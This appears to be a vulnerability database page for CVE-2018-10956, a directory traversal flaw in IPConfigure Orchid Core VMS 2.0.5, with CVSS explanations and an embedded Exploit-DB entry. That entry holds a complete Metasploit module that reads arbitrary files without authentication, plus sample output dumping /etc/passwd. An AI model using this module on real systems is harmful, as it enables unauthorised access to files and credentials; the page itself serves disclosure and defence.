CVE-2018-10956 : Detail

CVE-2018-10956

7.5
/
High
Directory Traversal
A01-Broken Access Control
89.09%V4
Network
2018-06-25
13h00 +00:00
2018-06-25
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44916

Publication date : 2018-06-19 22h00 +00:00
Author : Nettitude
EDB Verified : No

require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'IPConfigure Orchid VMS <=2.0.5 Directory Traversal Information Disclosure', 'Description' => %q{ Orchid Core VMS is vulnerable to a directory traversal attack. This affects Linux and Windows operating systems. This allows a remote, unauthenticated attacker to send crafted GET requests to the application, which results in the ability to read arbitrary files outside of the applications web directory. This issue is further compounded as the Linux version of Orchid Core VMS application is running in context of a user in the sudoers group. As such, any file on the underlying system, for which the location is known, can be read. This module was tested against 2.0.5. This has been fixed in 2.0.6. }, 'Author' => [ 'Sanjiv Kawa @kawabungah' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-10956' ], [ 'URL', 'https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/' ], [ 'URL', 'http://ipconfigure.com/products/orchid-archives' ] ], 'DisclosureDate' => 'May 7, 2018')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Orchid VMS', '/']), OptString.new('FILE', [ true, 'This is the file to download', '/etc/passwd']), OptString.new('INPUTFILE', [ false, 'Specify a list of files to download']), Opt::RPORT(80) ], self.class ) end def init_request(path) res = send_request_cgi({ 'method' => 'GET', 'uri' => path }) return res end def run path = normalize_uri(target_uri.path) res = init_request(path) if res && res.code == 200 file = Array.new trigger = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F" if datastore['INPUTFILE'].nil? || datastore['INPUTFILE'].empty? file = [datastore['FILE']] else file = File.open([datastore['INPUTFILE']].join(', ').to_s).readlines end for i in 0 .. file.length - 1 path = normalize_uri(target_uri.path) + trigger + file[i] res = init_request(path) if res.code == 200 print_good("Obtained #{datastore['FILE']}") puts res.body puts "" else print_error("#{datastore['FILE']} does not exist") puts res.body puts "" end end else print_error("Web Server is Unresponsive") end end end __END__ msf auxiliary(scanner/http/orchid_core_vms_directory_traversal) > show options Module options (auxiliary/scanner/http/orchid_core_vms_directory_traversal): Name Current Setting Required Description ---- --------------- -------- ----------- FILE /etc/passwd yes This is the file to download INPUTFILE no Specify a list of files to downloads Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 10.100.100.100 yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to Orchid VMS VHOST no HTTP server virtual host msf auxiliary(scanner/http/orchid_core_vms_directory_traversal) > run [+] Obtained /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Products Mentioned

Configuraton 0

Ipconfigure>>Orchid_core_vms >> Version 2.0.5

Linux>>Linux_kernel >> Version -

Microsoft>>Windows >> Version -

References

https://www.exploit-db.com/exploits/44916/
Tags : exploit, x_refsource_EXPLOIT-DB